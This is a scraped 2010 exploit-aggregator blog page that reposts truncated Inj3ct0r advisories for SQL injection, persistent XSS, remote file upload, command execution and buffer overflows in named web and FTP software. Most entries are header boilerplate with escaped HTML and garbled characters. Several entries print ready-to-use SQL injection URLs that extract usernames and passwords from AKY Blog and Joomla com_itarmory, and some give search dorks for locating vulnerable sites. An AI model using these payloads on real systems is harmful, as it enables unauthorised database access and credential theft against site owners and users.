Information Security News and Exploits

Providing you with Security News and Exploits from all over the web.

Entries for July 24th, 2010

RapidLeech Scrits Remote File Upload (transfer & run shell php)

Jul.24, 2010 in Exploits

<!DOCTYPE HTML PUBLIC ‘-//W3C//DTD HTML 4.01 Transitional//EN’><html><head><meta http-equiv=’Content-Type’ content=’text/html; charset=windows-1251′><title>RapidLeech Scrits Remote File Upload (transfer &amp; run shell php)</title><link rel=’shortcut icon’ href=’/favicon.ico’ type=’image/x-icon’><link rel=’alternate’ type=’application/rss+xml’ title=’Inj3ct0r RSS’ href=’/rss’></head><body><pre>===============================================================
RapidLeech Scrits Remote File Upload (transfer &amp; run shell php)
===============================================================
# Exploit Title: RapidLeech Scrits Remote File Upload ( transfer &amp; run shell php )???????????????????
# Date: 21/07/2010????????????????????????????
# Author: H-SK33PY?????????????????????
# [...]

Leave a Comment

Imagine-cms <= 2.50 SQL Injection Exploit Vulnerability

Jul.24, 2010 in Exploits

<!DOCTYPE HTML PUBLIC ‘-//W3C//DTD HTML 4.01 Transitional//EN’><html><head><meta http-equiv=’Content-Type’ content=’text/html; charset=windows-1251′><title>Imagine-cms &lt;= 2.50 SQL Injection Exploit Vulnerability</title><link rel=’shortcut icon’ href=’/favicon.ico’ type=’image/x-icon’><link rel=’alternate’ type=’application/rss+xml’ title=’Inj3ct0r RSS’ href=’/rss’></head><body><pre>=======================================================
Imagine-cms &lt;= 2.50 SQL Injection Exploit Vulnerability
=======================================================
#!/usr/bin/perl
###########################################
#
# Script Name : Imagine-cms 2.50
#
# Version : 2.50
#
# Bug Type : SQL Injection
#
# Found by : Metropolis
#
# Home : http://metropolis.fr.cr
#
# Discovered : 21/07/2010
#
# [...]

Leave a Comment

PhotoPost PHP 4.6.5 (ecard.php) SQL Injection Vulnerability

Jul.24, 2010 in Exploits

<!DOCTYPE HTML PUBLIC ‘-//W3C//DTD HTML 4.01 Transitional//EN’><html><head><meta http-equiv=’Content-Type’ content=’text/html; charset=windows-1251′><title>PhotoPost PHP 4.6.5 (ecard.php) SQL Injection Vulnerability</title><link rel=’shortcut icon’ href=’/favicon.ico’ type=’image/x-icon’><link rel=’alternate’ type=’application/rss+xml’ title=’Inj3ct0r RSS’ href=’/rss’></head><body><pre>===========================================================
PhotoPost PHP 4.6.5 (ecard.php) SQL Injection Vulnerability
===========================================================
Author : CoBRa_21
Author Web Page : http://www.ipbul.org
Dork: &quot;Powered by: PhotoPost PHP 4.6.5&quot;
########################################################################################
Sql Injection:
http://localhost/[path]/ecard.php?ecard=418337 (Sql)
http://localhost/[path]/showphoto.php?photo=418337 (Sql)
########################################################################################
# <a href=’http://inj3ct0r.com/’>Inj3ct0r.com</a> [2010-07-23]</pre><script type=’text/javascript’>var gaJsHost = (("https:" == document.location.protocol) ? [...]

Leave a Comment

ValidForm Builder script Remote Command Execution

Jul.24, 2010 in Exploits

<!DOCTYPE HTML PUBLIC ‘-//W3C//DTD HTML 4.01 Transitional//EN’><html><head><meta http-equiv=’Content-Type’ content=’text/html; charset=windows-1251′><title>ValidForm Builder script Remote Command Execution</title><link rel=’shortcut icon’ href=’/favicon.ico’ type=’image/x-icon’><link rel=’alternate’ type=’application/rss+xml’ title=’Inj3ct0r RSS’ href=’/rss’></head><body><pre>=================================================
ValidForm Builder script Remote Command Execution
=================================================
# Author: HackeR aRaR
# Email: y.0@hotmail.de
# My Sites : www.vbspiders.com
# Script home: http://www.phpgalleryscript.org
# download Script:
http://validformbuilder.googlecode.com/files/validformbuilder_v.1.0.zip
# Tested on: Windows
# Team hacker:HaCkEr aRaR &amp; ViRuS Qalaa &gt;&gt;&gt;X-MaN HaCk3r TeaM
#ViRuS [...]

Leave a Comment

Ubuntu 10.04 LTS – Lucid Lynx ftp Client v0.17-19build1 ACCT Buffer Over

Jul.24, 2010 in Exploits

<!DOCTYPE HTML PUBLIC ‘-//W3C//DTD HTML 4.01 Transitional//EN’><html><head><meta http-equiv=’Content-Type’ content=’text/html; charset=windows-1251′><title>Ubuntu 10.04 LTS – Lucid Lynx ftp Client v0.17-19build1 ACCT Buffer Over</title><link rel=’shortcut icon’ href=’/favicon.ico’ type=’image/x-icon’><link rel=’alternate’ type=’application/rss+xml’ title=’Inj3ct0r RSS’ href=’/rss’></head><body><pre>============================================================================
Ubuntu 10.04 LTS – Lucid Lynx ftp Client v0.17-19build1 ACCT Buffer Overflow
============================================================================
#Author: d0lc3 [...]

Leave a Comment

Easy FTP Server v1.7.0.11 LIST Command Remote BoF Exploit (Post Auth)

Jul.24, 2010 in Exploits

<!DOCTYPE HTML PUBLIC ‘-//W3C//DTD HTML 4.01 Transitional//EN’><html><head><meta http-equiv=’Content-Type’ content=’text/html; charset=windows-1251′><title>Easy FTP Server v1.7.0.11 LIST Command Remote BoF Exploit (Post Auth)</title><link rel=’shortcut icon’ href=’/favicon.ico’ type=’image/x-icon’><link rel=’alternate’ type=’application/rss+xml’ title=’Inj3ct0r RSS’ href=’/rss’></head><body><pre>==============================================================================
Easy FTP Server v1.7.0.11 LIST Command Remote BoF Exploit (Post Auth) – (meta)
==============================================================================
##
# EDB-ID: 14400
# Date : July 5, 2010
# Discovered by : Karn Ganeshen
# Version : [...]

Leave a Comment

netStartEnterprise v4.0 SQL Injection Vulnerability

Jul.24, 2010 in Exploits

<!DOCTYPE HTML PUBLIC ‘-//W3C//DTD HTML 4.01 Transitional//EN’><html><head><meta http-equiv=’Content-Type’ content=’text/html; charset=windows-1251′><title>netStartEnterprise v4.0 SQL Injection Vulnerability</title><link rel=’shortcut icon’ href=’/favicon.ico’ type=’image/x-icon’><link rel=’alternate’ type=’application/rss+xml’ title=’Inj3ct0r RSS’ href=’/rss’></head><body><pre>===================================================
netStartEnterprise v4.0 SQL Injection Vulnerability
===================================================
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ [...]

Leave a Comment

Joomla Component com_hotproperty Persistent XSS Vulnerability

Jul.24, 2010 in Exploits

<!DOCTYPE HTML PUBLIC ‘-//W3C//DTD HTML 4.01 Transitional//EN’><html><head><meta http-equiv=’Content-Type’ content=’text/html; charset=windows-1251′><title>Joomla Component com_hotproperty Persistent XSS Vulnerability</title><link rel=’shortcut icon’ href=’/favicon.ico’ type=’image/x-icon’><link rel=’alternate’ type=’application/rss+xml’ title=’Inj3ct0r RSS’ href=’/rss’></head><body><pre>=============================================================
Joomla Component com_hotproperty Persistent XSS Vulnerability
=============================================================
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ [...]

Leave a Comment

vBulletin 3.8.6 faq.php Information Disclosure Vulnerability

Jul.24, 2010 in Exploits

<!DOCTYPE HTML PUBLIC ‘-//W3C//DTD HTML 4.01 Transitional//EN’><html><head><meta http-equiv=’Content-Type’ content=’text/html; charset=windows-1251′><title>vBulletin 3.8.6 faq.php Information Disclosure Vulnerability</title><link rel=’shortcut icon’ href=’/favicon.ico’ type=’image/x-icon’><link rel=’alternate’ type=’application/rss+xml’ title=’Inj3ct0r RSS’ href=’/rss’></head><body><pre>===============================================================
vBulletin(R) 3.8.6 faq.php Information Disclosure Vulnerability
===============================================================
010101010101010101010101010101010101010101010101010101010
0 [...]

Leave a Comment

DM Filemanager (fckeditor) Remote Arbitrary File Upload Exploit

Jul.24, 2010 in Exploits

<!DOCTYPE HTML PUBLIC ‘-//W3C//DTD HTML 4.01 Transitional//EN’><html><head><meta http-equiv=’Content-Type’ content=’text/html; charset=windows-1251′><title>DM Filemanager (fckeditor) Remote Arbitrary File Upload Exploit</title><link rel=’shortcut icon’ href=’/favicon.ico’ type=’image/x-icon’><link rel=’alternate’ type=’application/rss+xml’ title=’Inj3ct0r RSS’ href=’/rss’></head><body><pre>===============================================================
DM Filemanager (fckeditor) Remote Arbitrary File Upload Exploit
===============================================================
&lt;?php
/*
—————————————————————–
DM Filemanager (fckeditor) Remote Arbitrary File Upload Exploit
—————————————————————–
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ [...]

Leave a Comment

sNews (index.php) SQL Injection Vulnerability

Jul.24, 2010 in Exploits

<!DOCTYPE HTML PUBLIC ‘-//W3C//DTD HTML 4.01 Transitional//EN’><html><head><meta http-equiv=’Content-Type’ content=’text/html; charset=windows-1251′><title>sNews (index.php) SQL Injection Vulnerability</title><link rel=’shortcut icon’ href=’/favicon.ico’ type=’image/x-icon’><link rel=’alternate’ type=’application/rss+xml’ title=’Inj3ct0r RSS’ href=’/rss’></head><body><pre>=============================================
sNews (index.php) SQL Injection Vulnerability
=============================================
# Author: MajoR
# Software Link: http://snews.awddesign.co.uk
# Version: N/A
# Tested on: Wnidows xp SP2
# CVE : N/A
====================================================sNews (index.php) SQL Injection Vulnerability
===================================================
Author : MajoR
Email : Ma-j-oR@hotmail.fr
Dork: &quot;Powered by [...]

Leave a Comment

Open Realty 2.x and 3.x Persistent XSS Vulnerability

Jul.24, 2010 in Exploits

<!DOCTYPE HTML PUBLIC ‘-//W3C//DTD HTML 4.01 Transitional//EN’><html><head><meta http-equiv=’Content-Type’ content=’text/html; charset=windows-1251′><title>Open Realty 2.x and 3.x Persistent XSS Vulnerability</title><link rel=’shortcut icon’ href=’/favicon.ico’ type=’image/x-icon’><link rel=’alternate’ type=’application/rss+xml’ title=’Inj3ct0r RSS’ href=’/rss’></head><body><pre>====================================================
Open Realty 2.x and 3.x Persistent XSS Vulnerability
====================================================
# Author: K053 &lt;K053.dev0te3 at gmail&gt;
# Date: 2010-7-24
# Hompage: http://open-realty.org
# Download Link: http://www.open-realty.org/download.html
# Version: 3.x &amp; 2.x &lt; seems all version &gt;
======================================================================================================
Detail [...]

Leave a Comment

AKY Blog SQL Injection Vulnerability

Jul.24, 2010 in Exploits

<!DOCTYPE HTML PUBLIC ‘-//W3C//DTD HTML 4.01 Transitional//EN’><html><head><meta http-equiv=’Content-Type’ content=’text/html; charset=windows-1251′><title>AKY Blog SQL Injection Vulnerability</title><link rel=’shortcut icon’ href=’/favicon.ico’ type=’image/x-icon’><link rel=’alternate’ type=’application/rss+xml’ title=’Inj3ct0r RSS’ href=’/rss’></head><body><pre>====================================
AKY Blog SQL Injection Vulnerability
====================================
Author : Madconfig
Homepage : www.worldhackerz.com
Mail : admin[at]worldhackerz[dot].com
Script : http://www.aspindir.com/indir.asp?ID=5954&amp;sIslem=Indir
Risk : No Risk Just Enjoy
Dork : :/ sorry
===================================================
[+] Vulnerable File :
http://www.site.com/default.asp?islem=devami&amp;id=38%20union+select+all+0,
sifre,2,3%20,4,5+from+aky_ayarlar
===================================================
[+] Demo :
http://www.site.com/blog/default.asp?islem=devami&amp;id=38%20union+s
elect+all+0,sifre,2,3%20,4,5+from+aky_ayarlar
===================================================
Greetz : Mezar,v0calist ,PaLa , By.ege, [...]

Leave a Comment

Joomla Component com_oziogallery SQL Injection Vulnerability

Jul.24, 2010 in Exploits

<!DOCTYPE HTML PUBLIC ‘-//W3C//DTD HTML 4.01 Transitional//EN’><html><head><meta http-equiv=’Content-Type’ content=’text/html; charset=windows-1251′><title>Joomla Component com_oziogallery SQL Injection Vulnerability</title><link rel=’shortcut icon’ href=’/favicon.ico’ type=’image/x-icon’><link rel=’alternate’ type=’application/rss+xml’ title=’Inj3ct0r RSS’ href=’/rss’></head><body><pre>============================================================
Joomla Component com_oziogallery SQL Injection Vulnerability
============================================================
# Author: ViRuS Qalaa
# Email: em9@live.com
# My Sites : www.pal-mafia.com &amp; www.vbspiders.com
# download Script: http://www.filestube.com/82e288a291c002a903ea,g/com-oziogallery-1-0-8.html
# Tested on: Windows
# Team hacker:ViRuS Qalaa &amp; HaCkEr aRaR &gt;&gt;&gt;X-MaN HaCk3r TeaM
# [...]

Leave a Comment

Joomla Component com_itarmory SQL Injection Vulnerability

Jul.24, 2010 in Exploits

<!DOCTYPE HTML PUBLIC ‘-//W3C//DTD HTML 4.01 Transitional//EN’><html><head><meta http-equiv=’Content-Type’ content=’text/html; charset=windows-1251′><title>Joomla Component com_itarmory SQL Injection Vulnerability</title><link rel=’shortcut icon’ href=’/favicon.ico’ type=’image/x-icon’><link rel=’alternate’ type=’application/rss+xml’ title=’Inj3ct0r RSS’ href=’/rss’></head><body><pre>=========================================================
Joomla Component com_itarmory SQL Injection Vulnerability
=========================================================
# Author: Craw
# Email: craw@element7.eu
# Software Link: http://www.intherapy.eu/index.php/itarmory-component/category/3-component
# Version: &lt;=0.1.4
# Category: webapplications
=======================================================
[+] Vulnerable File :
http://www.site.com/index.php?option=com_itarmory&amp;view=guildmembers&amp;Itemid=[SQL]
[+] ExploiT :
?filter_search=&amp;filter_level=1&amp;filter_race=*&amp;filter_class=8+and+1=2+union+all+select+1,2,3,4,5,6,concat(username,0×3a,password),8,9,10,11+from+jos_users–+
[+] Example :
http://www.site.com/index.php?option=com_itarmory&amp;view=guildmembers&amp;Itemid=?filter_search=&amp;filter_level=1&amp;filter_race=*&amp;filter_class=8+and+1=2+union+all+select+1,2,3,4,5,6,concat(username,0×3a,password),8,9,10,11+from+jos_users–+
=======================================================
Greetz @ LUXEMBOURG
=======================================================
# <a href=’http://inj3ct0r.com/’>Inj3ct0r.com</a> [2010-07-24]</pre><script type=’text/javascript’>var gaJsHost [...]

Leave a Comment

Joomla Component com_joomdle SQL Injection Vulnerability

Jul.24, 2010 in Exploits

<!DOCTYPE HTML PUBLIC ‘-//W3C//DTD HTML 4.01 Transitional//EN’><html><head><meta http-equiv=’Content-Type’ content=’text/html; charset=windows-1251′><title>Joomla Component com_joomdle SQL Injection Vulnerability</title><link rel=’shortcut icon’ href=’/favicon.ico’ type=’image/x-icon’><link rel=’alternate’ type=’application/rss+xml’ title=’Inj3ct0r RSS’ href=’/rss’></head><body><pre>========================================================
Joomla Component com_joomdle SQL Injection Vulnerability
========================================================
[!]===========================================================================[!]
[~] Joomla Component Joomdle SQL vulnerability
[~] Author : kaMtiEz (kamzcrew@yahoo.com)
[~] Homepage : http://www.indonesiancoder.com
[~] Date : 24 july, 2010
[!]===========================================================================[!]
[ Software Information [...]

Leave a Comment

Joomla Component com_youtube SQL Injection Vulnerability

Jul.24, 2010 in Exploits

<!DOCTYPE HTML PUBLIC ‘-//W3C//DTD HTML 4.01 Transitional//EN’><html><head><meta http-equiv=’Content-Type’ content=’text/html; charset=windows-1251′><title>Joomla Component com_youtube SQL Injection Vulnerability</title><link rel=’shortcut icon’ href=’/favicon.ico’ type=’image/x-icon’><link rel=’alternate’ type=’application/rss+xml’ title=’Inj3ct0r RSS’ href=’/rss’></head><body><pre>========================================================
Joomla Component com_youtube SQL Injection Vulnerability
========================================================
# Exploit Title: Joomla &quot;com_youtube&quot; Sql Injection Vulnerability
# Date: 2010-07-24
# Author: Forza-Dz
# Software Link: http://extensions.joomla.org/extensions/multimedia/
multimedia-channels/video-channels/12037
# Version: 1.5
# Tested on: windows-xp-sp2-fr : windows-xp-sp3-fr
==============================================================================
\\\\\ Joomla &quot;com_youtube&quot; Sql Injection [...]

Leave a Comment

Mediacoder v0.7.3.4682 (.m3u) File Universal Buffer Overflow Exploit

Jul.24, 2010 in Exploits

<!DOCTYPE HTML PUBLIC ‘-//W3C//DTD HTML 4.01 Transitional//EN’><html><head><meta http-equiv=’Content-Type’ content=’text/html; charset=windows-1251′><title>Mediacoder v0.7.3.4682 (.m3u) File Universal Buffer Overflow Exploit</title><link rel=’shortcut icon’ href=’/favicon.ico’ type=’image/x-icon’><link rel=’alternate’ type=’application/rss+xml’ title=’Inj3ct0r RSS’ href=’/rss’></head><body><pre>====================================================================
Mediacoder v0.7.3.4682 (.m3u) File Universal Buffer Overflow Exploit
====================================================================
#!/usr/bin/perl
###################################################################
#Exploit Title : Mediacoder v0.7.3.4682 (.m3u) File Universal Buffer Overflow Exploit
#tested on windows xp SP 2 (FR)
#Date:24/07/2010
#download : http://www.dodownload.com/video+multimedia/play+video/mediacoder.html
#Author: s-dz [s-dz[at]HotmaiL.fr]
# Tjrs mahboul-3lik [...]

Leave a Comment

IBM AIX 5l FTPd Remote DES Hash Exploit

Jul.24, 2010 in Exploits

<!DOCTYPE HTML PUBLIC ‘-//W3C//DTD HTML 4.01 Transitional//EN’><html><head><meta http-equiv=’Content-Type’ content=’text/html; charset=windows-1251′><title>IBM AIX 5l FTPd Remote DES Hash Exploit</title><link rel=’shortcut icon’ href=’/favicon.ico’ type=’image/x-icon’><link rel=’alternate’ type=’application/rss+xml’ title=’Inj3ct0r RSS’ href=’/rss’></head><body><pre>=======================================
IBM AIX 5l FTPd Remote DES Hash Exploit
=======================================
/*
* IBM AIX 5l FTPd Remote DES Hash Exploit — Advanced ‘Datacenter’ Edition :&gt;
*
* Should work on IBM AIX 5.1,5.2,5.3! [...]

Leave a Comment